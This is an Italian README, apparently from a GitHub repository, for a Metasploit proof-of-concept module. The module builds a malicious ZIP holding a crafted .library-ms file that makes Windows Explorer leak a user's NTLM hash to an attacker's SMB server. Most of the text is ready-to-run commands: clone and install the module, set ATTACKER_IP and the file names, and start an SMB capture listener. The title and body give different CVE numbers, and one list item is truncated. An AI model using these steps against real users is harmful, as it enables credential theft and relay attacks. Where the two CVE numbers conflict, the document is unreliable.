
POC per CVE-2025-24054
Questa repository contiene un modulo Metasploit per sfruttare CVE-2025-24071, una vulnerabilità in Windows Explorer che fa trapelare gli hash NTLM quando un file .library-ms dannoso viene estratto da un archivio ZIP.
Sviluppato da: FOLKS-IWD
La vulnerabilità si verifica quando un utente estrae un archivio ZIP contenente un file .library-ms appositamente predisposto. Windows Explorer avvia automaticamente una richiesta di autenticazione SMB verso un server remoto specificato nel file, facendo trapelare l'hash NTLM dell'utente senza alcuna interazione.
Questo modulo Metasploit:
.library-ms dannoso.
git clone https://github.com/FOLKS-IWD/CVE-2025-24071-msfvenom.git
cd CVE-2025-24071-msfvenom
cp ntlm_hash_leak.rb ~/.msf4/modules/auxiliary/server/
use auxiliary/server/ntlm_hash_leak
set ATTACKER_IP 192.168.1.162 # Replace with your IP address
set FILENAME exploit.zip # Name of the malicious ZIP file
set LIBRARY_NAME malicious.library-ms # Name of the .library-ms file
set SHARE_NAME shared # SMB share name
run
use auxiliary/server/capture/smb
set SRVHOST 192.168.1.162 # Same as ATTACKER_IP
run